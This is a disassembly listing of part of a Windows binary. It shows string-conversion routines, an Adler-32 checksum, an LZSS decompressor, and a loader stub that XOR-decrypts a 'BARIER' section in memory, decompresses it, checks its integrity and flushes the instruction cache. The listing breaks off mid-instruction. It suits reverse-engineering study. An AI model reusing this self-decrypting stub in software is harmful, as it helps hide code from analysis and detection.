eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4CCD90 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4CCC56 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4CCC56: ; CODE XREF: sub_4CCA80+1C2j cmp ebx, edi jz short loc_4CCC0E push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4DE034 ; LCMapStringW test eax, eax jz short loc_4CCC0E cmp [ebp+arg_14], edi push edi push edi jnz short loc_4CCC7D push edi push edi jmp short loc_4CCC83 ; --------------------------------------------------------------------------- loc_4CCC7D: ; CODE XREF: sub_4CCA80+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4CCC83: ; CODE XREF: sub_4CCA80+1FBj push esi push ebx push 220h push [ebp+arg_18] call ds:dword_4DE040 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_4CCC0E loc_4CCC9D: ; CODE XREF: sub_4CCA80+165j ; sub_4CCA80+188j mov eax, esi jmp loc_4CCC10 sub_4CCA80 endp ; =============== S U B R O U T I N E ======================================= sub_4CCCA4 proc near ; CODE XREF: sub_4CCA80+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4CCCC1 loc_4CCCB4: ; CODE XREF: sub_4CCCA4+1Bj cmp byte ptr [eax], 0 jz short loc_4CCCC1 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4CCCB4 loc_4CCCC1: ; CODE XREF: sub_4CCCA4+Ej ; sub_4CCCA4+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4CCCCC sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4CCCCC: ; CODE XREF: sub_4CCCA4+21j mov eax, edx retn sub_4CCCA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CCCCF proc near ; CODE XREF: sub_4CC86E+46p ; sub_4CC9EA+17p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_4CCCED mov ecx, ds:off_4E1450 movzx eax, word ptr [ecx+eax*2] jmp short loc_4CCD3F ; --------------------------------------------------------------------------- loc_4CCCED: ; CODE XREF: sub_4CCCCF+10j mov ecx, eax push esi mov esi, ds:off_4E1450 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_4CCD12 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_4CCD1B ; --------------------------------------------------------------------------- loc_4CCD12: ; CODE XREF: sub_4CCCCF+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_4CCD1B: ; CODE XREF: sub_4CCCCF+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4CCDBF add esp, 1Ch test eax, eax jnz short loc_4CCD3B leave retn ; --------------------------------------------------------------------------- loc_4CCD3B: ; CODE XREF: sub_4CCCCF+68j movzx eax, word ptr [ebp+arg_0+2] loc_4CCD3F: ; CODE XREF: sub_4CCCCF+1Cj and eax, [ebp+arg_4] leave retn sub_4CCCCF endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_4CCD69 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4CCD69: ; CODE XREF: _4:004CCD5Ej push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4CCD90 proc near ; CODE XREF: sub_4CCA80+FDp ; sub_4CCA80+1B1p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4CCDB0 loc_4CCD9C: ; CODE XREF: sub_4CCD90+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4CCD9C loc_4CCDB0: ; CODE XREF: sub_4CCD90+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4CCD90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CCDBF proc near ; CODE XREF: sub_4CCCCF+5Ep var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEB20 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, ds:dword_4E610C xor ebx, ebx cmp eax, ebx jnz short loc_4CCE2E lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4DEB00 push esi call ds:dword_4DE048 ; GetStringTypeW test eax, eax jz short loc_4CCE0C mov eax, esi jmp short loc_4CCE29 ; --------------------------------------------------------------------------- loc_4CCE0C: ; CODE XREF: sub_4CCDBF+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4DEAFC push esi push ebx call ds:dword_4DE030 ; GetStringTypeA test eax, eax jz loc_4CCEF4 push 2 pop eax loc_4CCE29: ; CODE XREF: sub_4CCDBF+4Bj mov ds:dword_4E610C, eax loc_4CCE2E: ; CODE XREF: sub_4CCDBF+2Fj cmp eax, 2 jnz short loc_4CCE57 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_4CCE3F mov eax, ds:dword_4E60F4 loc_4CCE3F: ; CODE XREF: sub_4CCDBF+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call ds:dword_4DE030 ; GetStringTypeA jmp loc_4CCEF6 ; --------------------------------------------------------------------------- loc_4CCE57: ; CODE XREF: sub_4CCDBF+72j cmp eax, 1 jnz loc_4CCEF4 cmp [ebp+arg_10], ebx jnz short loc_4CCE6D mov eax, ds:dword_4E6104 mov [ebp+arg_10], eax loc_4CCE6D: ; CODE XREF: sub_4CCDBF+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call ds:dword_4DE044 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_4CCEF4 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_4CCD90 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_4CCF10 add esp, 0Ch jmp short loc_4CCEC3 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4CCEC3: ; CODE XREF: sub_4CCDBF+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_4CCEF4 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_4DE044 ; MultiByteToWideChar cmp eax, ebx jz short loc_4CCEF4 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_4DE048 ; GetStringTypeW jmp short loc_4CCEF6 ; --------------------------------------------------------------------------- loc_4CCEF4: ; CODE XREF: sub_4CCDBF+61j ; sub_4CCDBF+9Bj ... xor eax, eax loc_4CCEF6: ; CODE XREF: sub_4CCDBF+93j ; sub_4CCDBF+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4CCDBF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4CCF10 proc near ; CODE XREF: sub_4CCDBF+EFp arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4CCF63 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4CCF57 neg ecx and ecx, 3 jz short loc_4CCF39 sub edx, ecx loc_4CCF33: ; CODE XREF: sub_4CCF10+27j mov [edi], al inc edi dec ecx jnz short loc_4CCF33 loc_4CCF39: ; CODE XREF: sub_4CCF10+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4CCF57 rep stosd test edx, edx jz short loc_4CCF5D loc_4CCF57: ; CODE XREF: sub_4CCF10+18j ; sub_4CCF10+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4CCF57 loc_4CCF5D: ; CODE XREF: sub_4CCF10+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4CCF63: ; CODE XREF: sub_4CCF10+Aj mov eax, [esp+arg_0] retn sub_4CCF10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4CCF68 proc near ; CODE XREF: sub_4CC454+13p jmp ds:dword_4DE03C sub_4CCF68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CCF6E proc near ; CODE XREF: sub_4CD2E0+183p ; sub_4CD2E0+361p ; DATA XREF: ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push esi push edi mov edi, [ebp+arg_0] mov esi, edi and esi, 0FFFFh shr edi, 10h test ecx, ecx jnz short loc_4CCF90 push 1 pop eax jmp loc_4CD083 ; --------------------------------------------------------------------------- loc_4CCF90: ; CODE XREF: sub_4CCF6E+18j cmp [ebp+arg_8], 0 jbe loc_4CD07C push ebx loc_4CCF9B: ; CODE XREF: sub_4CCF6E+107j mov edx, 15B0h cmp [ebp+arg_8], edx jnb short loc_4CCFA8 mov edx, [ebp+arg_8] loc_4CCFA8: ; CODE XREF: sub_4CCF6E+35j sub [ebp+arg_8], edx cmp edx, 10h jl loc_4CD04B mov eax, edx shr eax, 4 mov ebx, eax neg ebx shl ebx, 4 add edx, ebx loc_4CCFC2: ; CODE XREF: sub_4CCF6E+D7j movzx ebx, byte ptr [ecx] add esi, ebx movzx ebx, byte ptr [ecx+1] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+2] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+3] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+4] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+5] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+6] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+7] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+8] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+9] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Ah] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Bh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Ch] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Dh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Eh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Fh] add edi, esi add esi, ebx add edi, esi add ecx, 10h dec eax jnz loc_4CCFC2 loc_4CD04B: ; CODE XREF: sub_4CCF6E+40j test edx, edx jz short loc_4CD05A loc_4CD04F: ; CODE XREF: sub_4CCF6E+EAj movzx eax, byte ptr [ecx] add esi, eax inc ecx add edi, esi dec edx jnz short loc_4CD04F loc_4CD05A: ; CODE XREF: sub_4CCF6E+DFj mov ebx, 0FFF1h mov eax, esi xor edx, edx mov esi, ebx div esi mov eax, edi mov esi, edx xor edx, edx div ebx cmp [ebp+arg_8], 0 mov edi, edx ja loc_4CCF9B pop ebx loc_4CD07C: ; CODE XREF: sub_4CCF6E+26j mov eax, edi shl eax, 10h or eax, esi loc_4CD083: ; CODE XREF: sub_4CCF6E+1Dj pop edi pop esi pop ebp retn sub_4CCF6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CD090 proc near ; CODE XREF: sub_4CD2E0+15Ep ; sub_4CD2E0+33Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_1C], ecx mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_1C] mov eax, [ebp+arg_8] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ebp+arg_4] mov [ecx+8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov edx, [ebp+var_1C] mov dword ptr [edx+14h], 0 mov eax, [ebp+var_1C] mov dword ptr [eax+10h], 0 mov [ebp+var_10], 0 jmp short loc_4CD0E2 ; --------------------------------------------------------------------------- loc_4CD0D9: ; CODE XREF: sub_4CD090+65j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_4CD0E2: ; CODE XREF: sub_4CD090+47j cmp [ebp+var_10], 0FEEh jge short loc_4CD0F7 mov edx, [ebp+var_1C] add edx, [ebp+var_10] mov byte ptr [edx+18h], 20h jmp short loc_4CD0D9 ; --------------------------------------------------------------------------- loc_4CD0F7: ; CODE XREF: sub_4CD090+59j mov [ebp+var_8], 0FEEh mov [ebp+var_4], 0 loc_4CD105: ; CODE XREF: sub_4CD090:loc_4CD236j mov eax, [ebp+var_4] shr eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jnz short loc_4CD139 mov ecx, [ebp+var_1C] call sub_4CD250 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4CD130 jmp loc_4CD23B ; --------------------------------------------------------------------------- loc_4CD130: ; CODE XREF: sub_4CD090+99j mov edx, [ebp+var_C] or dh, 0FFh mov [ebp+var_4], edx loc_4CD139: ; CODE XREF: sub_4CD090+88j mov eax, [ebp+var_4] and eax, 1 test eax, eax jz short loc_4CD18A mov ecx, [ebp+var_1C] call sub_4CD250 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4CD159 jmp loc_4CD23B ; --------------------------------------------------------------------------- loc_4CD159: ; CODE XREF: sub_4CD090+C2j mov edx, [ebp+var_C] mov ecx, [ebp+var_1C] call sub_4CD290 mov ecx, [ebp+var_1C] add ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_C] mov [ecx+18h], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] and ecx, 0FFFh mov [ebp+var_8], ecx jmp loc_4CD236 ; --------------------------------------------------------------------------- loc_4CD18A: ; CODE XREF: sub_4CD090+B1j mov ecx, [ebp+var_1C] call sub_4CD250 mov [ebp+var_10], eax cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_4CD1A0 jmp loc_4CD23B ; --------------------------------------------------------------------------- loc_4CD1A0: ; CODE XREF: sub_4CD090+109j mov ecx, [ebp+var_1C] call sub_4CD250 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4CD1B6 jmp loc_4CD23B ; --------------------------------------------------------------------------- loc_4CD1B6: ; CODE XREF: sub_4CD090+11Fj mov edx, [ebp+var_14] and edx, 0F0h shl edx, 4 mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_14] and ecx, 0Fh add ecx, 2 mov [ebp+var_14], ecx mov [ebp+var_18], 0 jmp short loc_4CD1E8 ; --------------------------------------------------------------------------- loc_4CD1DF: ; CODE XREF: sub_4CD090+1A4j mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_4CD1E8: ; CODE XREF: sub_4CD090+14Dj mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jg short loc_4CD236 mov ecx, [ebp+var_10] add ecx, [ebp+var_18] and ecx, 0FFFh mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+ecx+18h] mov [ebp+var_C], eax mov edx, [ebp+var_C] mov ecx, [ebp+var_1C] call sub_4CD290 mov ecx, [ebp+var_1C] add ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_C] mov [ecx+18h], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] and ecx, 0FFFh mov [ebp+var_8], ecx jmp short loc_4CD1DF ; --------------------------------------------------------------------------- loc_4CD236: ; CODE XREF: sub_4CD090+F5j ; sub_4CD090+15Ej jmp loc_4CD105 ; --------------------------------------------------------------------------- loc_4CD23B: ; CODE XREF: sub_4CD090+9Bj ; sub_4CD090+C4j ... mov edx, [ebp+var_1C] mov eax, [edx+10h] mov esp, ebp pop ebp retn 10h sub_4CD090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CD250 proc near ; CODE XREF: sub_4CD090+8Dp ; sub_4CD090+B6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [eax+14h] cmp edx, [ecx+8] jb short loc_4CD26A or eax, 0FFFFFFFFh jmp short loc_4CD28B ; --------------------------------------------------------------------------- loc_4CD26A: ; CODE XREF: sub_4CD250+13j mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+14h] xor edx, edx mov dl, [ecx+eax] mov eax, edx mov ecx, [ebp+var_4] mov edx, [ecx+14h] add edx, 1 mov ecx, [ebp+var_4] mov [ecx+14h], edx loc_4CD28B: ; CODE XREF: sub_4CD250+18j mov esp, ebp pop ebp retn sub_4CD250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CD290 proc near ; CODE XREF: sub_4CD090+CFp ; sub_4CD090+17Ep var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], edx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [eax+10h] cmp edx, [ecx+0Ch] jb short loc_4CD2AC jmp short loc_4CD2CD ; --------------------------------------------------------------------------- loc_4CD2AC: ; CODE XREF: sub_4CD290+18j mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx+10h] mov dl, byte ptr [ebp+var_8] mov [ecx+eax], dl mov eax, [ebp+var_4] mov ecx, [eax+10h] add ecx, 1 mov edx, [ebp+var_4] mov [edx+10h], ecx loc_4CD2CD: ; CODE XREF: sub_4CD290+1Aj mov esp, ebp pop ebp retn sub_4CD290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CD2E0 proc near ; CODE XREF: _4:loc_4CD700p var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 70h push esi push edi push 0 call ds:dword_4DE014 ; GetModuleHandleA mov [ebp+var_18], eax push 0D440h push 40h call ds:dword_4DE010 ; LocalAlloc mov [ebp+var_8], eax mov eax, [ebp+arg_4] sub eax, 3FAh mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 4 mov [ebp+var_10], ecx mov [ebp+var_1C], 0 mov [ebp+var_44], 1 mov [ebp+var_30], 0 mov [ebp+var_3C], offset aBarier ; "BARIER" loc_4CD333: ; CODE XREF: sub_4CD2E0+98j ; sub_4CD2E0+A0j mov edx, [ebp+var_10] mov eax, [edx] imul eax, 28h mov ecx, [ebp+var_4] add ecx, eax mov edx, [ebp+var_44] imul edx, 28h sub ecx, edx mov [ebp+var_30], ecx mov eax, [ebp+var_44] add eax, 1 mov [ebp+var_44], eax mov ecx, [ebp+var_30] mov edx, [ebp+var_18] add edx, [ecx+0Ch] mov [ebp+var_40], edx mov eax, [ebp+var_30] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov edx, [ebp+var_30] add ecx, [edx+8] mov [ebp+var_2C], ecx mov eax, [ebp+var_40] cmp eax, [ebp+var_3C] ja short loc_4CD333 mov ecx, [ebp+var_3C] cmp ecx, [ebp+var_2C] jnb short loc_4CD333 mov edx, [ebp+var_40] mov [ebp+var_20], edx jmp short loc_4CD393 ; --------------------------------------------------------------------------- loc_4CD38A: ; CODE XREF: sub_4CD2E0+DAj mov eax, [ebp+var_40] add eax, 4 mov [ebp+var_40], eax loc_4CD393: ; CODE XREF: sub_4CD2E0+A8j mov ecx, [ebp+var_40] cmp ecx, [ebp+var_2C] jnb short loc_4CD3BC mov edx, [ebp+var_20] imul edx, 19660Dh add edx, 3C6EF375h mov [ebp+var_20], edx mov eax, [ebp+var_40] mov ecx, [eax] xor ecx, [ebp+var_20] mov edx, [ebp+var_40] mov [edx], ecx jmp short loc_4CD38A ; --------------------------------------------------------------------------- loc_4CD3BC: ; CODE XREF: sub_4CD2E0+B9j mov eax, [ebp+var_30] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov [ebp+var_24], ecx mov edx, [ebp+var_24] mov eax, [edx] mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] mov [ebp+var_38], edx mov eax, [ebp+var_24] mov ecx, [eax+8] mov [ebp+var_34], ecx mov edx, [ebp+var_38] push edx push 40h call ds:dword_4DE010 ; LocalAlloc mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4CD400 cmp [ebp+var_38], 10000h jbe short loc_4CD411 loc_4CD400: ; CODE XREF: sub_4CD2E0+115j push 0 push 0 push 0 push 0EF0000FEh call ds:dword_4DE00C ; RaiseException loc_4CD411: ; CODE XREF: sub_4CD2E0+11Ej mov ecx, [ebp+var_38] mov esi, [ebp+var_24] add esi, 0Ch mov edi, [ebp+var_1C] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_38] push eax mov ecx, [ebp+var_1C] push ecx mov ecx, [ebp+var_8] call sub_4CD090 cmp eax, [ebp+var_28] jz short loc_4CD459 push 0 push 0 push 0 push 0EF0000F8h call ds:dword_4DE00C ; RaiseException loc_4CD459: ; CODE XREF: sub_4CD2E0+166j mov edx, [ebp+var_28] push edx mov eax, [ebp+var_24] push eax push 0 call sub_4CCF6E add esp, 0Ch cmp eax, [ebp+var_34] jz short loc_4CD481 push 0 push 0 push 0 push 0EF0000FAh call ds:dword_4DE00C ; RaiseException loc_4CD481: ; CODE XREF: sub_4CD2E0+18Ej mov ecx, [ebp+var_1C] push ecx call ds:dword_4DE008 ; LocalFree push offset aKernel32_dll ; "kernel32.dll" call ds:dword_4DE014 ; GetModuleHandleA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4CD4B0 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_4DE00C ; RaiseException loc_4CD4B0: ; CODE XREF: sub_4CD2E0+1BDj push offset aFlushinstructi ; "FlushInstructionCache" mov edx, [ebp+var_C] push edx call ds:dword_4DE004 ; GetProcAddress mov ds:dword_4E1670, eax push offset aGetcurrentproc ; "GetCurrentProcess" mov eax, [ebp+var_C] push eax call ds:dword_4DE004 ; GetProcAddress mov [ebp+var_14], eax cmp ds:dword_4E1670, 0 jnz short loc_4CD4F0 push 0 push 0 push 0 push 0EF0000FCh call ds:dword_4DE00C ; RaiseException loc_4CD4F0: ; CODE XREF: sub_4CD2E0+1FDj call [ebp+var_14] mov ds:dword_4E168C, eax mov [ebp+var_48], 0 mov [ebp+var_68], 3 mov [ebp+var_58], 0 loc_4CD50D: ; CODE XREF: sub_4CD2E0+272j ; sub_4CD2E0+27Aj mov ecx, [ebp+var_10] mov edx, [ecx] imul edx, 28h mov eax, [ebp+var_4] add eax, edx mov ecx, [ebp+var_68] imul ecx, 28h sub eax, ecx mov [ebp+var_58], eax mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_58] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov [ebp+var_64], ecx mov edx, [ebp+var_58] mov eax, [ebp+var_18] add eax, [edx+0Ch] mov ecx, [ebp+var_58] add eax, [ecx+8] mov [ebp+var_54], eax mov edx, [ebp+var_64] cmp edx, [ebp+arg_0] jnb short loc_4CD50D mov eax, [ebp+arg_0] cmp eax, [ebp+var_54] jnb short loc_4CD50D mov ecx, [ebp+arg_0] mov [ebp+var_64], ecx mov edx, [ebp+var_64] mov [ebp+var_4C], edx mov eax, [ebp+var_64] add eax, 0Ch and al, 0FCh mov [ebp+var_64], eax jmp short loc_4CD57E ; --------------------------------------------------------------------------- loc_4CD575: ; CODE XREF: sub_4CD2E0+2C4j mov ecx, [ebp+var_64] add ecx, 4 mov [ebp+var_64], ecx loc_4CD57E: ; CODE XREF: sub_4CD2E0+293j mov edx, [ebp+var_64] cmp edx, [ebp+var_54] jnb short loc_4CD5A6 mov eax, [ebp+var_4C] imul eax, 19660Dh add eax, 3C6EF375h mov [ebp+var_4C], eax mov ecx, [ebp+var_64] mov edx, [ecx] xor edx, [ebp+var_4C] mov eax, [ebp+var_64] mov [eax], edx jmp short loc_4CD575 ; --------------------------------------------------------------------------- loc_4CD5A6: ; CODE XREF: sub_4CD2E0+2A4j mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_50], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_60], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_5C], eax mov ecx, [ebp+var_60] push ecx push 40h call ds:dword_4DE010 ; LocalAlloc mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_4CD5DE cmp [ebp+var_60], 10000h jbe short loc_4CD5EF loc_4CD5DE: ; CODE XREF: sub_4CD2E0+2F3j push 0 push 0 push 0 push 0EF0000FFh call ds:dword_4DE00C ; RaiseException loc_4CD5EF: ; CODE XREF: sub_4CD2E0+2FCj mov ecx, [ebp+var_60] mov esi, [ebp+arg_0] add esi, 0Ch mov edi, [ebp+var_48] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+var_50] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_60] push edx mov eax, [ebp+var_48] push eax mov ecx, [ebp+var_8] call sub_4CD090 cmp eax, [ebp+var_50] jz short loc_4CD637 push 0 push 0 push 0 push 0EF0000F9h call ds:dword_4DE00C ; RaiseException loc_4CD637: ; CODE XREF: sub_4CD2E0+344j mov ecx, [ebp+var_50] push ecx mov edx, [ebp+arg_0] push edx push 0 call sub_4CCF6E add esp, 0Ch cmp eax, [ebp+var_5C] jz short loc_4CD65F push 0 push 0 push 0 push 0EF0000FBh call ds:dword_4DE00C ; RaiseException loc_4CD65F: ; CODE XREF: sub_4CD2E0+36Cj mov eax, [ebp+var_50] push eax mov ecx, [ebp+arg_0] push ecx mov edx, ds:dword_4E168C push edx call ds:dword_4E1670 ; FlushInstructionCache mov eax, [ebp+var_48] push eax call ds:dword_4DE008 ; LocalFree mov ecx, [ebp+var_8] push ecx call ds:dword_4DE008 ; LocalFree push offset dword_4E1A28 call ds:dword_4DE000 ; InitializeCriticalSection push offset dword_4E1930 call ds:dword_4DE000 ; InitializeCriticalSection call sub_4CE2E0 push 80h call sub_4D835A add esp, 4 mov [ebp+var_6C], eax cmp [ebp+var_6C], 0 jz short loc_4CD6C6 mov ecx, [ebp+var_6C] call sub_4CDDD0 mov [ebp+var_70], eax jmp short loc_4CD6CD ; --------------------------------------------------------------------------- loc_4CD6C6: ; CODE XREF: sub_4CD2E0+3D7j mov [ebp+var_70], 0 loc_4CD6CD: ; CODE XREF: sub_4CD2E0+3E4j mov edx, offset dword_4CD720 mov eax, [ebp+var_70] mov [edx+4], eax call sub_4D8C17 mov ds:dword_4E60DC, eax mov ecx, [ebp+var_10] mov edx, [ecx] mov ds:dword_4E1698, edx mov eax, 